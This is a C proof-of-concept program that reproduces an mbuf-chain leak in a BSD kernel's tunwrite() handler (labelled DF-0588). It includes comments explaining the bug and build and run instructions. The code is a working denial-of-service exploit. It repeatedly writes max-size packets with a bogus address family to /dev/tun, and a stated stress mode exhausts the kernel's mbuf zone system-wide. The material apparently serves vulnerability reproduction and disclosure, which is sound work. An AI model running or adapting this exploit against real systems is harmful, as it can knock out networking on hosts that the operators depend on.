/*
 * tun_leak.c — reproduce the mbuf-chain leak in tunwrite() (DF-0588)
 *
 * Bug:  tunwrite() at sys/net/tun/if_tun.c:844 builds an mbuf chain in the
 *       loop at lines 875-882. The MGET at line 880-881 is only taken when
 *       MORE data remains, so after the loop the local `m` points at the
 *       LAST (tail) mbuf of the chain whose head is `top`. When TUN_IFHEAD is
 *       set and the user-supplied 4-byte address family is anything other than
 *       AF_INET / AF_INET6, the default case at lines 952-955 calls
 *           m_freem(m);          <-- frees only the TAIL
 *           return (EAFNOSUPPORT);
 *       freeing only the trailing mbuf and LEAKING the chain head `top` plus
 *       all intermediate mbufs (~327 per 65539-byte write). Resource-
 *       exhaustion DoS: repeat to drain the mbuf zone system-wide.
 *
 * Privilege: tunopen() (if_tun.c:283) requires caps_priv_check(SYSCAP_RESTRICTEDROOT)
 *       and /dev/tun is 0600 uucp:dialer -> host ROOT only (PR:H, matches CVSS).
 *
 * Build:  cc -O2 -o tun_leak tun_leak.c   (guest has no <net/if_tun.h>; vendored)
 * Run:    ./tun_leak [num_writes]          (default 50 -> ~16k leaked mbufs, safe demo)
 *         ./tun_leak 1000000               (stress: drive to mbuf exhaustion)
 *
 * Observe with, in another shell:
 *         netstat -m        ;   sysctl net.stat.mbuf
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>

/* Vendored from sys/net/tun/if_tun.h (not shipped in guest /usr/include). */
#define TUNMRU        65535
#define TUNSIFHEAD    _IOW('t', 96, int)

/* AF value that is neither AF_INET(2) nor AF_INET6(28) -> default case.
 * The kernel reads the first 4 bytes and applies ntohl (if_tun.c:932), so we
 * stash a 4-byte big-endian-ish marker; ntohl(0xffffffff) is still 0xffffffff. */
static unsigned char BUF[TUNMRU + 4];   /* +4 for the IFHEAD family prefix */

int
main(int argc, char **argv)
{
	unsigned long n_writes = (argc > 1) ? strtoul(argv[1], NULL, 10) : 50;
	unsigned long i;
	int fd, one = 1;
	ssize_t n;

	fd = open("/dev/tun", O_RDWR);      /* clone device -> fresh tunN */
	if (fd < 0) {
		perror("open /dev/tun");
		fprintf(stderr, "(needs host root; /dev/tun is 0600 uucp:dialer, "
				"tunopen requires SYSCAP_RESTRICTEDROOT)\n");
		return 2;
	}
	fprintf(stderr, "[*] opened /dev/tun (fd=%d)\n", fd);

	if (ioctl(fd, TUNSIFHEAD, &one) < 0) {
		perror("TUNSIFHEAD");
		return 2;
	}
	fprintf(stderr, "[*] TUN_IFHEAD set\n");

	/* Build a max-size write: 4-byte bogus family + payload. Each write()
	 * that hits the default case leaks ~327 mbufs (chain head + intermediates)
	 * and returns EAFNOSUPPORT. */
	memset(BUF, 0x41, sizeof(BUF));
	BUF[0] = BUF[1] = BUF[2] = BUF[3] = 0xff;  /* family != AF_INET/AF_INET6 */

	fprintf(stderr, "[*] leaking %lu x %zu-byte writes "
			"(~%lu mbufs/write expected) ...\n",
			n_writes, sizeof(BUF),
			(unsigned long)(sizeof(BUF) / 200));   /* rough MHLEN estimate */

	for (i = 0; i < n_writes; i++) {
		n = write(fd, BUF, sizeof(BUF));
		if (n < 0) {
			if (errno == EAFNOSUPPORT) {
				/* expected: the leak already happened before this return */
			} else if (errno == ENOBUFS || errno == ENOMEM) {
				fprintf(stderr, "[!] write %lu: %s (mbuf zone exhausted)\n",
					i, strerror(errno));
				break;
			} else {
				fprintf(stderr, "[!] write %lu: %s\n", i, strerror(errno));
				/* keep going for non-fatal errors */
			}
		}
		if ((i % ((n_writes > 20) ? (n_writes / 20) : 1)) == 0 || i < 5)
			fprintf(stderr, "[*] writes=%lu\n", i);
	}

	fprintf(stderr, "[+] done: %lu writes issued\n", i);
	close(fd);
	return 0;
}
